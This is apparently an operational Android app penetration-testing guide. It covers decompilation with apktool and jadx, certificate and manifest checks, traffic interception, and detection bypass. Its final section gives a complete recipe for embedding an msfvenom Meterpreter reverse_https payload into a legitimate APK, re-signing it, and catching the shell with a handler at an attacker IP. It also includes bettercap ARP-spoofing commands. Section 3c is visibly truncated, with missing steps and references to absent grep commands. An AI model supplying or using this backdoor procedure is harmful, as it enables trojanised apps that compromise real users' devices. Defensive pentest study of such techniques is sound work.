My primary goal with this repo is to define a comprehensive Android application penetration testing guide.
This is an operational guide with the intention to assist you while performing a pentest.
I will provide what I've learned / will learn at work and share it here with you.
To improve this guide, I would highly appreciate your help with everything you have successfully used in the wild and/or experienced so far at work.

===========================================================================
============================== 0) Used Tools ==============================
===========================================================================
a) apktool
-) AUR package: yay -S android-apktool
b) dex2jar
c) jd-gui
d) jadx
e) adb
-) sudo pacman -S android-tools
-) I personally would recommend installing android-studio (it comes with the SDK - including all platform-tools)
o) sudo pacman -S andriod-studio
f) bettercap
-) sudo pacman -S bettercap
g) dnSpy
-) .NET decompiler (in case of Xamarin Apps)
h) enjarify
i) apk decompiler for lazy: https://github.com/b-mueller/apkx
==========================================================================
===================== 1) MANUAL STATIC ANALYSIS ==========================
==========================================================================
////////////////
1a) RETRIEVE APK
////////////////
FROM THE DEVICE ITSELF
[COMMANDS]
o) adb shell pm list packages (list all installed packages)
o) adb shell pm path com.x.x.x (display apk path of package)
o) adb pull /data/data/com.x.x.x/app_name.apk (copy the apk file to your system)
APK DOWNLOADER
1) Search for your application @ https://play.google.com/store
2) Copy URL (i.e: https://play.google.com/store/apps/details?id=com.whatsapp)
3) Paste URL into one of the downloaders below or one of your own choice:
o) evozi
o) apkcombo (recommended)
o) apkmirror
/////////////////
1b) DECOMPILE APK
/////////////////
UNZIP (I'm aware this is just unpacking - not decompiling)
[COMMANDS]
o) unzip app_name.apk
[INFO]
-) quick & dirty way
-) Manifest.xml is not readable
-) However .dex files can be found -> d2j-dex2jar
-) certs + signature-files available
APKTOOL
[COMMANDS]
o) apktool d path/to/your/app_name.apk (decompiles .dex files to .smali)
o) apktool d --no-src app_name.apk (does NOT decompile .dex files to .smali)
[INFO]
-) not all files do get extracted: i.e certs + signature files & more are missing
DEX2JAR
[COMMANDS]
o) d2j-dex2jar app_name.apk
[INFO]
-) extracts decompiled .jar only & app_name-error.zip (open with jd-gui)
JADX
[COMMANDS]
o) jadx -d path/to/extract/ --deobf app_name.apk (jadx-deobfuscator -> deobfs simple obf. code)
o) jadx -d path/to/extract/ app_name.apk
o) jadx -d path/to/extract/ classes.dex (outputs .java files at path/to/extract/sources/)
[INFO]
-) RECOMMENDED!!
-) resources + sources available (source code + certs, ...)
DEOBFUSCATION
[COMMANDS]
o) jadx -d path/to/extract/ --deobf app_name.apk
o) simplify -i file_name.smali -o class.dex
[INFO]
-) no 100% success guaranteed --> works only with simple obfuscated files
-) to get the file_name.smali --> decompile with APKTOOL
XAMARIN
[COMMANDS]
o) 7z e app_name.apk (unzip apk and retrieve *.dll files)
[INFO]
-) Xamarin Apps are written in C#, therefore you have to decompile it on a windows machine (i.e. dnSpy)
-) Main Code can be found in app_name.dll (but usually there are more too)
/////////////////////
1c) CHECK CERTIFICATE
/////////////////////
[COMMANDS]
o) openssl pkcs7 -inform DER -in META-INF/*.RSA -noout -print_certs -text
o) jarsigner -verify -verbose -certs app_name.apk (optional)
[INFO]
-) jarsigner --> huge output (each file gets validated)
-) cert location:
-) unzip.apk --> META-INF/*.RSA
-) jadx app_name.apk --> resources/META-INF/*.RSA
-) custom CAs may be definded: res/xml/network_security_config.xml (or similar name)
-) also cert-pinning info available there (i.e expiration)
[THINGS TO REPORT]
!) CN=Android Debug (=debug cert -> public known private key)
!) CA is expired
!) The CA that issued the server certificate was unknown
!) CA was self signed
!) The server configuration is missing an intermediate CA
!) no cert-pinning (public key pinning) enabled (if you are able to route traffic through a proxy)
!) cleartext Traffic is allowed (until Android 8.1):
-) <base-config cleartextTrafficPermitted="true">
-) <domain-config cleartextTrafficPermitted="true">
[MORE DETAILS]
?) Manifest permissions
?) SSL common problems
?) ssltest
///////////////////////////////
1d) ANALYZE ANDROIDMANIFEST.XML
///////////////////////////////
[COMMANDS]
RETRIEVE MANIFEST ONLY (already covered if you have properly decompiled the app)
o) aapt dump app_name.apk AndroidManifest.xml > manifest.txt
o) aapt l -a app_name.apk > manifest.txt
o) run app.package.manifest com.x.x.x (within drozer-shell "dr>")
CREATE BACKUP
o) adb backup -all -apk -shared (full backup)
o) adb backup com.x.x.x (single app backup)
o) decode unencrypted backup
o) xxd backup.ab (check if encrypted --> if you see "none" --> not encrypted)
o) dd if=all-data.ab bs=24 skip=1 | openssl zlib -d > all-data.tar
o) tar xvf all-data.tar (extract tar-archive)

DEBUG APPLICATION
-) Debugging running apps or processes with GDB
[THINGS TO REPORT]
!) Wrong version/requirements specified
!) android:allowBackup = TRUE
!) android:debuggable = TRUE
!) andorid:exported= TRUE or not set at all (within <provider>-Tag) --> allows external app to access data
!) android.permission.WRITE_EXTERNAL_STORAGE / READ_EXTERNAL_STORAGE (ONLY IF sensitive data was stored/read externally)
!) inproper use of permissions
!) e.g. the app opens website in external browser (not inApp), however requires "android.permission.INTERNET" --> false usage of permissions. (over-privileged)
!) "android:protectionLevel" was not set properly (<permission android:name="my_custom_permission_name" android:protectionLevel="signature"/>)
!) missing android:permission (permission tags limit exposure to other apps)

==========================================================================
=================== 2) AUTOMATED STATIC ANALYSIS =========================
==========================================================================
[RECOMMENDED TOOLS]
-) MobSF
-) quark
-) AndroBugs
-) JAADAS
[INFO]
-) At this point you have to google yourself how to install and use them ;)
-) MobSF + quark are recommended!
==========================================================================
===================== 3) MANUAL DYNAMIC ANALYSIS =========================
==========================================================================
/////////////////
3a) prerequisites
/////////////////
[PROXY]
-) Install Burp-Suite (recommended)
[AVD || ROOTED DEVICE]
-) cert installation:
?) BEFORE Android 7 (Nougat)
?) Android 7 or higher
-) Proxy setup
?) Virtual device
?) Physical phone
[ADDITIONAL TOOLS]
-) Install drozer on host & phone
-) Android SDK
!) adb might be located @ Android/Sdk/platform-tools/ (Linux)
[FUNCTIONALITY TEST]
COMMANDS:
o) adb devices (should list your device)
o) adb forward tcp:31415 tcp:31415 (port forwarding for drozer client)
o) drozer console devices (list available drozer clients)
o) drozer console connect (connect to drozer client and end up in drozer-shell: "dr>")
[NON-PROXY AWARE APPS]
-) Route traffic through the host machine (e.g. built-in Internet Sharing) --> Wireshark (cli: tshark) or tcpdump
-) Downside - if HTTPS, you are not able to see any request bodies
1) tcpdump -i <interface: wlan0> -s0 -w - | nc -l -p 11111 (remotely sniff via netcat)
2) adb forward tcp:11111 tcp:11111
3) nc localhost 11111 | wireshark -k -S -i -
-) MitM with bettercap (same network as target device):
-) sudo bettercap -eval "set arp.spoof.targets <TARGER-IP>; arps.spoof on; set arp.spoof.internal true; set arp.spoof.fullduplex true;" (command may defer due to bettercap version)
-) Redirect with iptables:
-) iptables -t nat -A OUTPUT -p tcp --dport 80 -j DNAT --to-destination <PROXY-IP>:8080
-) verify iptables settings: iptables -t nat -L
-) reset iptables config: iptables -t nat -F
-) Hooking or Code-Injection
[WHY?]
-) In case of XAMARIN (ignores system proxy - not always! give it a try before you cry)
-) Other protocols are used (XMPP or other non-HTTP)
-) To intercept push notifications
-) The app itself verifies connection and refuse
////////////////////////////////
3b) INSTALL APPLICATION & USE IT
////////////////////////////////
[COMMANDS]
o) adb install path/to/app_name.apk
o) In case it does not work:
o) copy apk to phone and install it directly: adb push app_name.apk /sdcard/
o) download apk on phone and install it ()
[INFO]
------------------------------------------------------------
!!!!!INTERCEPT THE WHOLE TRAFFIC FROM THE BEGINNING ON!!!!!!
------------------------------------------------------------
Start using the app, like a normal user would
o) Log in -> Browse around -> load content & so on ...
o) Look for:
o) File up/download
o) try to bypass fileupload/-filter (often there is only a client-side validation only)
o) Activity behaviour & functionality
o) ANYTHING which indicates a communication to a backend/api or might be stored locally
o) check proxy and look for suspicious behaviour, requests, new/different endpoints & so on ...
/////////////////////
3c) BYPASS DETECTIONS

2) Modify the code, so YOUR values will pass the test || delete the whole validation (if possible)
3) Recompile: apktool b ./modified_app_project_dir
4) Sign apk:
4.1) create key: keytool -genkey -v -keystore my-release-key.keystore -alias myalias -keyalg RSA -keysize 2048 -validity 10000
!) remember the password you used
4.2) sign apk: /home/<user>/Android/Sdk/build-tools/<27.0.3_OR_CHECK_YOUR_USED_VERSION>/apksigner sign --ks my-release-key.keystore ./modified_app_project_dir/dist/modified_app.apk
5) install apk on device: adb install /path/to/modified_app.apk
[INFO]
!) No 100% success guaranteed:
!) there might be fancy solutions out there (appreciate any input here!!)
!) In case of heavy obfuscation --> good look with that
!) Very often the app will be delivered with a root detection as well
!) The grep commands above search for known method-names or values which might get executed/checked on app-startup

//////////////////////////////
[NON XAMARIN APPS]
1) msfvenom -p android/meterpreter/reverse_https LHOST=<ATTACKER-IP> LPORT=<ATTACKER-PORT> -o meterpreter.apk
2) Decompile meterpreter.apk & original app_name.apk
2.1) apktool d -f -o ./payload_apk /path/to/your/meterpreter.apk
2.2) apktool d -f -o ./original_apk /path/to/your/app_name.apk
3) Create folder: mkdir ./original_apk/metasploit; mkdir ./original_apk/metasploit/stage
4) Copy payload-files: cp ./payload_apk/smali/com/metasploit/stage/* ./original_apk/smali/metasploit/stage/
5) Get MainActivity name: Search in AndroidManifest.xml for an <activity>-Tag which contains both:
5.1) <action android:name="android.intent.action.MAIN"/>
5.2) <category android:name="android.intent.category.LAUNCHER"/>
5.3) Look out for the tag-parameter: android:name="core.MainActivity" (it can have a different name, core indicates a directory within the smali dir)
6) Open the MainActivity.smali:
6.1) Search for: ;->onCreate(Landroid/os/Bundle;)V
6.2) Add the following in the next line (after 6.1): invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
7) Copy all necessary app-permissions from ./meterpreter/AndroidManifest.xml into the original ./original_apk/AndroidManifest.xml (check for duplicates -> otherwise some meterpreter functions will not work, due to missing permissions)
8) Recompile: apktool b ./original_apk
9) Sign apk:
9.1) create key: keytool -genkey -v -keystore my-release-key.keystore -alias myalias -keyalg RSA -keysize 2048 -validity 10000
!) remember the password you used
9.2) sign apk: /home/<user>/Android/Sdk/build-tools/<27.0.3_OR_CHECK_YOUR_USED_VERSION>/apksigner sign --ks my-release-key.keystore ./original_apk/dist/app_name.apk
10) run a meterpreter session handler:
10.1) msfconsole
10.2) use multi/handler
10.3) set payload android/meterpreter/reverse_https
10.4) set LHOST <ATTACKER-IP> (same as used to generate the payload - see step 1)
10.5) set LPORT <ATTACKER-PORT> (same as used to generate the payload - see step 1)
